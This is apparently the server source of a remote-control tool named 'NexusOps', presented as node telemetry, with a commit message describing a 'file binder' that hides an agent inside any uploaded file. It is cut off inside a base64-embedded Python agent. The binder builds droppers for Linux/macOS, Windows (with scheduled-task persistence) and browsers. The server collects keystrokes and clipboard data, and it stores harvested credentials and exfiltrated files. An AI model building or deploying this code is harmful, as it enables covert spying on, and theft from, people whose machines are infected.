- /api/bind now embeds agent.py as base64 (fully offline install) - New HTML format: one-click browser payload (auto-downloads file) - PS1 format: Windows dropper with embedded agent + schtasks persistence - SH format (default): Linux/macOS dropper, extracts both file + agent - Agent installs to /opt/network-agent/ with systemd or launchd persistence - Frontend: format selector (SH/PS1/HTML) in binder modal - Verified: both payloads extract correctly, agent.py passes py_compile
964 lines
86 KiB
JavaScript
964 lines
86 KiB
JavaScript
const express = require('express');
|
|
const http = require('http');
|
|
const WebSocket = require('ws');
|
|
const path = require('path');
|
|
const cors = require('cors');
|
|
const os = require('os');
|
|
const multer = require('multer');
|
|
const fs = require('fs');
|
|
|
|
const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });
|
|
|
|
const app = express();
|
|
const server = http.createServer(app);
|
|
const wss = new WebSocket.Server({ server });
|
|
|
|
const PORT = process.env.PORT || 3000;
|
|
const PUBLIC_URL = process.env.PUBLIC_URL || null;
|
|
const DATA_DIR = path.join(__dirname, 'data');
|
|
|
|
// Ensure data directory exists
|
|
if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true });
|
|
|
|
app.use(cors());
|
|
app.use(express.json({ limit: '50mb' }));
|
|
app.use(express.static(path.join(__dirname, 'public')));
|
|
|
|
// ── Auth ──
|
|
const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null;
|
|
if (!AUTH_TOKEN) {
|
|
console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!');
|
|
}
|
|
const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/'];
|
|
function authMiddleware(req, res, next) {
|
|
if (!AUTH_TOKEN) return next();
|
|
if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next();
|
|
const h = req.headers.authorization || '';
|
|
if (h === 'Bearer ' + AUTH_TOKEN) return next();
|
|
if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' });
|
|
return res.status(401).json({ error: 'unauthorized' });
|
|
}
|
|
app.use(authMiddleware);
|
|
app.get('/api/auth/check', (req, res) => {
|
|
if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false });
|
|
res.json({ ok: true, authRequired: true });
|
|
});
|
|
|
|
|
|
|
|
function getLocalIp() {
|
|
const interfaces = os.networkInterfaces();
|
|
for (const name of Object.keys(interfaces)) {
|
|
for (const net of interfaces[name]) {
|
|
if (net.family === 'IPv4' && !net.internal) {
|
|
return net.address;
|
|
}
|
|
}
|
|
}
|
|
return 'localhost';
|
|
}
|
|
|
|
const SERVER_IP = getLocalIp();
|
|
|
|
const nodes = new Map();
|
|
const commandQueues = new Map();
|
|
const commandHistory = [];
|
|
const masterSystemLogs = [];
|
|
const inputDataStore = [];
|
|
const MAX_INPUT_STORE = 500;
|
|
const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp }
|
|
const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
|
|
|
|
// ── Persistence ──
|
|
let _saveLock = false;
|
|
function _atomicWrite(file, data) {
|
|
const tmp = file + '.tmp';
|
|
fs.writeFileSync(tmp, data);
|
|
fs.renameSync(tmp, file);
|
|
}
|
|
function saveData() {
|
|
if (_saveLock) return;
|
|
_saveLock = true;
|
|
try {
|
|
_atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
|
|
_atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
|
|
_atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
|
|
_atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
|
|
_atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
|
|
} catch(e) { /* silent */ } finally {
|
|
_saveLock = false;
|
|
}
|
|
}
|
|
|
|
function loadData() {
|
|
try {
|
|
const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]');
|
|
nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); });
|
|
commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]')));
|
|
masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]')));
|
|
inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]')));
|
|
harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]')));
|
|
} catch(e) { /* first run */ }
|
|
}
|
|
loadData();
|
|
|
|
// Auto-save every 30 seconds
|
|
setInterval(saveData, 30000);
|
|
|
|
setInterval(() => {
|
|
const now = Date.now();
|
|
let changed = false;
|
|
nodes.forEach((node, id) => {
|
|
if (node.status === 'online' && now - node.lastHeartbeat > 20000) {
|
|
node.status = 'offline';
|
|
changed = true;
|
|
}
|
|
});
|
|
if (changed) {
|
|
broadcastState();
|
|
}
|
|
}, 5000);
|
|
|
|
let _lastSaveTime = 0;
|
|
function broadcastState() {
|
|
const now = Date.now();
|
|
if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); }
|
|
const payload = JSON.stringify({
|
|
type: 'NODES_UPDATE',
|
|
serverIp: SERVER_IP,
|
|
port: PORT,
|
|
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
|
nodes: Array.from(nodes.values()),
|
|
commandHistory: commandHistory.slice(-50),
|
|
masterSystemLogs: masterSystemLogs.slice(-100),
|
|
inputData: inputDataStore.slice(-200)
|
|
});
|
|
|
|
wss.clients.forEach(client => {
|
|
if (client.readyState === WebSocket.OPEN) {
|
|
client.send(payload);
|
|
}
|
|
});
|
|
}
|
|
|
|
wss.on('connection', (ws, req) => {
|
|
// Auth check on WS upgrade
|
|
if (AUTH_TOKEN) {
|
|
const url = new URL(req.url, 'http://localhost');
|
|
if (url.searchParams.get('token') !== AUTH_TOKEN) {
|
|
ws.close(4401, 'unauthorized');
|
|
return;
|
|
}
|
|
}
|
|
ws.isAlive = true;
|
|
ws.on('pong', () => { ws.isAlive = true; });
|
|
ws.send(JSON.stringify({
|
|
type: 'NODES_UPDATE',
|
|
serverIp: SERVER_IP,
|
|
port: PORT,
|
|
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
|
nodes: Array.from(nodes.values()),
|
|
commandHistory: commandHistory.slice(-50),
|
|
masterSystemLogs: masterSystemLogs.slice(-100),
|
|
inputData: inputDataStore.slice(-200)
|
|
}));
|
|
});
|
|
|
|
// WS heartbeat: ping every 25s, drop dead clients
|
|
setInterval(() => {
|
|
wss.clients.forEach(ws => {
|
|
if (ws.isAlive === false) return ws.terminate();
|
|
ws.isAlive = false;
|
|
try { ws.ping(); } catch(e) {}
|
|
});
|
|
}, 25000);
|
|
|
|
// REST API Endpoints
|
|
|
|
app.get('/api/status', (req, res) => {
|
|
res.json({
|
|
serverIp: SERVER_IP,
|
|
port: PORT,
|
|
serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
|
totalNodes: nodes.size,
|
|
onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length
|
|
});
|
|
});
|
|
|
|
app.get('/api/nodes', (req, res) => {
|
|
res.json(Array.from(nodes.values()));
|
|
});
|
|
|
|
app.get('/api/logs', (req, res) => {
|
|
res.json(masterSystemLogs.slice(-100));
|
|
});
|
|
|
|
// CSV Telemetry Export Endpoint
|
|
app.get('/api/export/csv', (req, res) => {
|
|
let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n";
|
|
nodes.forEach(node => {
|
|
const tagsStr = (node.tags || []).join(';');
|
|
csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`;
|
|
});
|
|
res.setHeader('Content-Type', 'text/csv');
|
|
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"');
|
|
res.send(csv);
|
|
});
|
|
|
|
// Agent System Log Streaming Endpoint
|
|
app.post('/api/agent/logs', (req, res) => {
|
|
const { nodeId, hostname, logs } = req.body;
|
|
if (Array.isArray(logs)) {
|
|
logs.forEach(logLine => {
|
|
masterSystemLogs.push({
|
|
id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`,
|
|
nodeId,
|
|
hostname: hostname || 'Unknown',
|
|
timestamp: Date.now(),
|
|
entry: logLine
|
|
});
|
|
});
|
|
if (masterSystemLogs.length > 200) {
|
|
masterSystemLogs.splice(0, masterSystemLogs.length - 200);
|
|
}
|
|
broadcastState();
|
|
}
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus
|
|
app.post('/api/agent/input-capture', (req, res) => {
|
|
const { nodeId, hostname, events } = req.body;
|
|
if (!nodeId || !Array.isArray(events)) {
|
|
return res.status(400).json({ error: 'nodeId and events[] required' });
|
|
}
|
|
|
|
events.forEach(ev => {
|
|
inputDataStore.push({
|
|
id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`,
|
|
nodeId,
|
|
hostname: hostname || 'Unknown',
|
|
timestamp: ev.timestamp || Date.now(),
|
|
eventType: ev.eventType || 'unknown',
|
|
data: ev.data || {},
|
|
windowTitle: ev.windowTitle || '',
|
|
processName: ev.processName || ''
|
|
});
|
|
});
|
|
|
|
if (inputDataStore.length > MAX_INPUT_STORE) {
|
|
inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE);
|
|
}
|
|
|
|
if (events.length > 0) {
|
|
broadcastState();
|
|
}
|
|
|
|
res.json({ success: true, stored: events.length });
|
|
});
|
|
|
|
// Retrieve input capture data
|
|
app.get('/api/inputs', (req, res) => {
|
|
const { nodeId, eventType, limit } = req.query;
|
|
let filtered = inputDataStore;
|
|
|
|
if (nodeId) {
|
|
filtered = filtered.filter(e => e.nodeId === nodeId);
|
|
}
|
|
if (eventType) {
|
|
filtered = filtered.filter(e => e.eventType === eventType);
|
|
}
|
|
|
|
const max = parseInt(limit) || 200;
|
|
res.json(filtered.slice(-max));
|
|
});
|
|
|
|
// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ──
|
|
// ── File Binder v2 — self-contained dropper (agent embedded, no curl required) ──
|
|
const AGENT_B64 = "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoiIiIKTmV4dXNPcHMgQ3Jvc3MtUGxhdGZvcm0gTm9kZSBNYW5hZ2VtZW50ICYgVGVsZW1ldHJ5IEFnZW50ClVzZXMgU3RhbmRhcmQgUHl0aG9uIDMgTGlicmFyaWVzIChObyBleHRlcm5hbCBkZXBlbmRlbmNpZXMgcmVxdWlyZWQpCiIiIgoKaW1wb3J0IHN5cwppbXBvcnQgb3MKaW1wb3J0IHRpbWUKaW1wb3J0IGpzb24KaW1wb3J0IHNvY2tldAppbXBvcnQgcGxhdGZvcm0KaW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCB1cmxsaWIucGFyc2UKaW1wb3J0IGFyZ3BhcnNlCgpsYXN0X2xvZ19jaGVja190aW1lID0gMApoZWFydGJlYXRfaW50ZXJ2YWwgPSA1ICAjIER5bmFtaWMgaGVhcnRiZWF0IHJhdGUgaW4gc2Vjb25kcwpub2RlX3RhZ3MgPSBbIkRlZmF1bHQiXQpxdWlldF9tb2RlID0gRmFsc2UgICMgU3VwcHJlc3MgYmFubmVyIGFuZCBleGVjIG1lc3NhZ2VzIHdoZW4gVHJ1ZQoKZGVmIGdldF9wcm9jZXNzX2NvdW50KCk6CiAgICAiIiJHZXQgcmVhbCBwcm9jZXNzIGNvdW50IGNyb3NzLXBsYXRmb3JtLiIiIgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiIG9yIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJwcyIsICJhdXgiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIHJldHVybiBsZW4ob3V0LnNwbGl0bGluZXMoKSkgLSAxICAjIG1pbnVzIGhlYWRlcgogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJ0YXNrbGlzdCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgcmV0dXJuIGxlbihvdXQuc3BsaXRsaW5lcygpKSAtIDEKICAgIGV4Y2VwdDoKICAgICAgICBwYXNzCiAgICByZXR1cm4gMAoKZGVmIGdldF9pcF9hZGRyZXNzKCk6CiAgICAiIiJHZXQgcHJpbWFyeSBJUCwgcHJlZmVycmluZyBwaHlzaWNhbCBFdGhlcm5ldCBvdmVyIFZQTi90dW5uZWwgaW50ZXJmYWNlcy4iIiIKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgICMgbWFjT1M6IHVzZSBpZmNvbmZpZyB0byBmaW5kIGVuMCBJUCAocGh5c2ljYWwgRXRoZXJuZXQvV2lGaSkKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJpZmNvbmZpZyIsICJlbjAiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCk6CiAgICAgICAgICAgICAgICBpZiAnaW5ldCAnIGluIGxpbmUgYW5kICcxMjcuMC4wLjEnIG5vdCBpbiBsaW5lOgogICAgICAgICAgICAgICAgICAgIHBhcnRzID0gbGluZS5zdHJpcCgpLnNwbGl0KCkKICAgICAgICAgICAgICAgICAgICBmb3IgaSwgcCBpbiBlbnVtZXJhdGUocGFydHMpOgogICAgICAgICAgICAgICAgICAgICAgICBpZiBwID09ICdpbmV0JyBhbmQgaSsxIDwgbGVuKHBhcnRzKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBwYXJ0c1tpKzFdCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgIyBMaW51eDogdHJ5IGlwIHJvdXRlIHRvIGZpbmQgcHJpbWFyeSBpbnRlcmZhY2UKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJpcCIsICItNCIsICJyb3V0ZSIsICJnZXQiLCAiOC44LjguOCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgZm9yIHBhcnQgaW4gb3V0LnNwbGl0KCk6CiAgICAgICAgICAgICAgICBpZiBwYXJ0LnN0YXJ0c3dpdGgoJ3NyYyAnKToKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcGFydC5zcGxpdCgpWzFdIGlmICcgJyBpbiBwYXJ0IGVsc2Ugb3V0LnNwbGl0KCdzcmMgJylbMV0uc3BsaXQoKVswXQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKICAgICMgRmFsbGJhY2s6IGNvbm5lY3QgdG8gOC44LjguOAogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19ER1JBTSkKICAgICAgICBzLmNvbm5lY3QoKCI4LjguOC44IiwgODApKQogICAgICAgIGlwID0gcy5nZXRzb2NrbmFtZSgpWzBdCiAgICAgICAgcy5jbG9zZSgpCiAgICAgICAgcmV0dXJuIGlwCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHJldHVybiAiMTI3LjAuMC4xIgoKZGVmIGdldF9jcHVfdXNhZ2UoKToKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy9zdGF0JywgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgZmllbGRzID0gW2Zsb2F0KGNvbHVtbikgZm9yIGNvbHVtbiBpbiBmLnJlYWRsaW5lKCkuc3RyaXAoKS5zcGxpdCgpWzE6XV0KICAgICAgICAgICAgaWRsZSwgdG90YWwgPSBmaWVsZHNbM10sIHN1bShmaWVsZHMpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoMC4yKQogICAgICAgICAgICB3aXRoIG9wZW4oJy9wcm9jL3N0YXQnLCAncicpIGFzIGY6CiAgICAgICAgICAgICAgICBmaWVsZHMyID0gW2Zsb2F0KGNvbHVtbikgZm9yIGNvbHVtbiBpbiBmLnJlYWRsaW5lKCkuc3RyaXAoKS5zcGxpdCgpWzE6XV0KICAgICAgICAgICAgaWRsZTIsIHRvdGFsMiA9IGZpZWxkczJbM10sIHN1bShmaWVsZHMyKQogICAgICAgICAgICBpZGxlX2RlbHRhID0gaWRsZTIgLSBpZGxlCiAgICAgICAgICAgIHRvdGFsX2RlbHRhID0gdG90YWwyIC0gdG90YWwKICAgICAgICAgICAgaWYgdG90YWxfZGVsdGEgPiAwOgogICAgICAgICAgICAgICAgcmV0dXJuIHJvdW5kKDEwMC4wICogKDEuMCAtIGlkbGVfZGVsdGEgLyB0b3RhbF9kZWx0YSksIDEpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgIG91dCA9IHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0KFsidG9wIiwgIi1sIiwgIjEiLCAiLW4iLCAiMCJdKS5kZWNvZGUoKQogICAgICAgICAgICBmb3IgbGluZSBpbiBvdXQuc3BsaXRsaW5lcygpOgogICAgICAgICAgICAgICAgaWYgIkNQVSB1c2FnZSIgaW4gbGluZToKICAgICAgICAgICAgICAgICAgICBwYXJ0cyA9IGxpbmUuc3BsaXQoKQogICAgICAgICAgICAgICAgICAgIHVzZXIgPSBmbG9hdChwYXJ0c1syXS5yZXBsYWNlKCclJywgJycpKQogICAgICAgICAgICAgICAgICAgIHN5c19jID0gZmxvYXQocGFydHNbNF0ucmVwbGFjZSgnJScsICcnKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcm91bmQodXNlciArIHN5c19jLCAxKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJ3bWljIiwgImNwdSIsICJnZXQiLCAibG9hZHBlcmNlbnRhZ2UiXSkuZGVjb2RlKCkKICAgICAgICAgICAgbGluZXMgPSBbbGluZS5zdHJpcCgpIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCkgaWYgbGluZS5zdHJpcCgpLmlzZGlnaXQoKV0KICAgICAgICAgICAgaWYgbGluZXM6CiAgICAgICAgICAgICAgICByZXR1cm4gZmxvYXQobGluZXNbMF0pCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHBhc3MKICAgIHJldHVybiAxNS4wCgpkZWYgZ2V0X21lbW9yeV91c2FnZSgpOgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiOgogICAgICAgICAgICBtZW1pbmZvID0ge30KICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy9tZW1pbmZvJywgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgZm9yIGxpbmUgaW4gZjoKICAgICAgICAgICAgICAgICAgICBwYXJ0cyA9IGxpbmUuc3BsaXQoJzonKQogICAgICAgICAgICAgICAgICAgIGlmIGxlbihwYXJ0cykgPT0gMjoKICAgICAgICAgICAgICAgICAgICAgICAga2V5ID0gcGFydHNbMF0uc3RyaXAoKQogICAgICAgICAgICAgICAgICAgICAgICB2YWwgPSBpbnQocGFydHNbMV0uc3BsaXQoKVswXSkKICAgICAgICAgICAgICAgICAgICAgICAgbWVtaW5mb1trZXldID0gdmFsCiAgICAgICAgICAgIHRvdGFsID0gbWVtaW5mby5nZXQoJ01lbVRvdGFsJywgMSkKICAgICAgICAgICAgZnJlZSA9IG1lbWluZm8uZ2V0KCdNZW1BdmFpbGFibGUnLCBtZW1pbmZvLmdldCgnTWVtRnJlZScsIDApKQogICAgICAgICAgICByZXR1cm4gcm91bmQoKCh0b3RhbCAtIGZyZWUpIC8gdG90YWwpICogMTAwLjAsIDEpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgICMgVXNlIHZtX3N0YXQgZm9yIHJlYWwgbWVtb3J5IHVzYWdlIG9uIG1hY09TCiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIG91dCA9IHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0KFsidm1fc3RhdCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgICAgIHBhZ2VzID0ge30KICAgICAgICAgICAgICAgIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCk6CiAgICAgICAgICAgICAgICAgICAgaWYgJzonIGluIGxpbmU6CiAgICAgICAgICAgICAgICAgICAgICAgIGssIHYgPSBsaW5lLnNwbGl0KCc6JywgMSkKICAgICAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFnZXNbay5zdHJpcCgpXSA9IGludCh2LnN0cmlwKCkucnN0cmlwKCcuJykpCiAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBWYWx1ZUVycm9yOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzcwogICAgICAgICAgICAgICAgcGFnZV9zaXplID0gMTYzODQgICMgRGVmYXVsdCBtYWNPUyBwYWdlIHNpemUKICAgICAgICAgICAgICAgIGZyZWUgPSBwYWdlcy5nZXQoJ1BhZ2VzIGZyZWUnLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgaW5hY3RpdmUnLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgc3BlY3VsYXRpdmUnLCAwKQogICAgICAgICAgICAgICAgdXNlZCA9IHBhZ2VzLmdldCgnUGFnZXMgYWN0aXZlJywgMCkgKyBwYWdlcy5nZXQoJ1BhZ2VzIHdpcmVkIGRvd24nLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgb2NjdXBpZWQgYnkgY29tcHJlc3NvcicsIDApCiAgICAgICAgICAgICAgICB0b3RhbF9wYWdlcyA9IGZyZWUgKyB1c2VkICsgcGFnZXMuZ2V0KCdQYWdlcyBwdXJnZWFibGUnLCAwKQogICAgICAgICAgICAgICAgaWYgdG90YWxfcGFnZXMgPiAwOgogICAgICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgodXNlZCAvIHRvdGFsX3BhZ2VzKSAqIDEwMC4wLCAxKQogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgICMgRmFsbGJhY2s6IHVzZSBzeXNjdGwgZm9yIGhhcmR3YXJlIGluZm8KICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJzeXNjdGwiLCAiLW4iLCAiaHcubWVtc2l6ZSJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgICAgIHRvdGFsX2J5dGVzID0gaW50KG91dC5zdHJpcCgpKQogICAgICAgICAgICAgICAgIyBVc2Ugdm1fc3RhdCBwYWdlcyAqIHBhZ2Vfc2l6ZSBmb3IgdXNlZCBlc3RpbWF0ZQogICAgICAgICAgICAgICAgdm0gPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbInZtX3N0YXQiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgICAgICBpbXBvcnQgcmUKICAgICAgICAgICAgICAgIGFjdGl2ZSA9IGludChyZS5zZWFyY2gocidQYWdlcyBhY3RpdmU6XHMrKFxkKyknLCB2bSkuZ3JvdXAoMSkpCiAgICAgICAgICAgICAgICB3aXJlZCA9IGludChyZS5zZWFyY2gocidQYWdlcyB3aXJlZCBkb3duOlxzKyhcZCspJywgdm0pLmdyb3VwKDEpKQogICAgICAgICAgICAgICAgdXNlZF9ieXRlcyA9IChhY3RpdmUgKyB3aXJlZCkgKiAxNjM4NAogICAgICAgICAgICAgICAgaWYgdG90YWxfYnl0ZXMgPiAwOgogICAgICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgodXNlZF9ieXRlcyAvIHRvdGFsX2J5dGVzKSAqIDEwMC4wLCAxKQogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIHJldHVybiA0NS4wCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICBvdXQgPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbIndtaWMiLCAib3MiLCAiZ2V0IiwgIkZyZWVQaHlzaWNhbE1lbW9yeSxUb3RhbFZpc2libGVNZW1vcnlTaXplIiwgIi9WYWx1ZSJdKS5kZWNvZGUoKQogICAgICAgICAgICBkID0ge30KICAgICAgICAgICAgZm9yIGxpbmUgaW4gb3V0LnNwbGl0bGluZXMoKToKICAgICAgICAgICAgICAgIGlmICc9JyBpbiBsaW5lOgogICAgICAgICAgICAgICAgICAgIGssIHYgPSBsaW5lLnNwbGl0KCc9JywgMSkKICAgICAgICAgICAgICAgICAgICBkW2suc3RyaXAoKV0gPSBmbG9hdCh2LnN0cmlwKCkpCiAgICAgICAgICAgIGlmICdUb3RhbFZpc2libGVNZW1vcnlTaXplJyBpbiBkIGFuZCAnRnJlZVBoeXNpY2FsTWVtb3J5JyBpbiBkOgogICAgICAgICAgICAgICAgdG90YWwgPSBkWydUb3RhbFZpc2libGVNZW1vcnlTaXplJ10KICAgICAgICAgICAgICAgIGZyZWUgPSBkWydGcmVlUGh5c2ljYWxNZW1vcnknXQogICAgICAgICAgICAgICAgcmV0dXJuIHJvdW5kKCgodG90YWwgLSBmcmVlKSAvIHRvdGFsKSAqIDEwMC4wLCAxKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBwYXNzCiAgICByZXR1cm4gMzUuMAoKZGVmIGdldF9kaXNrX3VzYWdlKCk6CiAgICB0cnk6CiAgICAgICAgaWYgaGFzYXR0cihvcywgJ3N0YXR2ZnMnKToKICAgICAgICAgICAgc3QgPSBvcy5zdGF0dmZzKCcvJykKICAgICAgICAgICAgdG90YWwgPSBzdC5mX2Jsb2NrcyAqIHN0LmZfZnJzaXplCiAgICAgICAgICAgIGZyZWUgPSBzdC5mX2JhdmFpbCAqIHN0LmZfZnJzaXplCiAgICAgICAgICAgIGlmIHRvdGFsID4gMDoKICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgoKHRvdGFsIC0gZnJlZSkgLyB0b3RhbCkgKiAxMDAuMCwgMSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIDQwLjAKCmRlZiBnZXRfdXB0aW1lX3NlY29uZHMoKToKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy91cHRpbWUnLCAncicpIGFzIGY6CiAgICAgICAgICAgICAgICByZXR1cm4gaW50KGZsb2F0KGYucmVhZGxpbmUoKS5zcGxpdCgpWzBdKSkKICAgICAgICBlbGlmIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgIyBtYWNPUzogdXNlIHN5c2N0bCB0byBnZXQgYm9vdCB0aW1lLCBjb21wdXRlIHVwdGltZQogICAgICAgICAgICBvdXQgPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbInN5c2N0bCIsICItbiIsICJrZXJuLmJvb3R0aW1lIl0sIHRleHQ9VHJ1ZSwgdGltZW91dD01KQogICAgICAgICAgICAjIEZvcm1hdDogeyBzZWMgPSAxMjM0NTY3ODkwLCB1c2VjID0gMCB9IFRodSBKYW4gIDEgMDA6MDA6MDAgMTk3MAogICAgICAgICAgICBpbXBvcnQgcmUKICAgICAgICAgICAgbSA9IHJlLnNlYXJjaChyJ3NlY1xzKj1ccyooXGQrKScsIG91dCkKICAgICAgICAgICAgaWYgbToKICAgICAgICAgICAgICAgIGJvb3RfdGltZSA9IGludChtLmdyb3VwKDEpKQogICAgICAgICAgICAgICAgcmV0dXJuIGludCh0aW1lLnRpbWUoKSAtIGJvb3RfdGltZSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIDM2MDAKCmRlZiBjb2xsZWN0X3JlY2VudF9zeXN0ZW1fbG9ncygpOgogI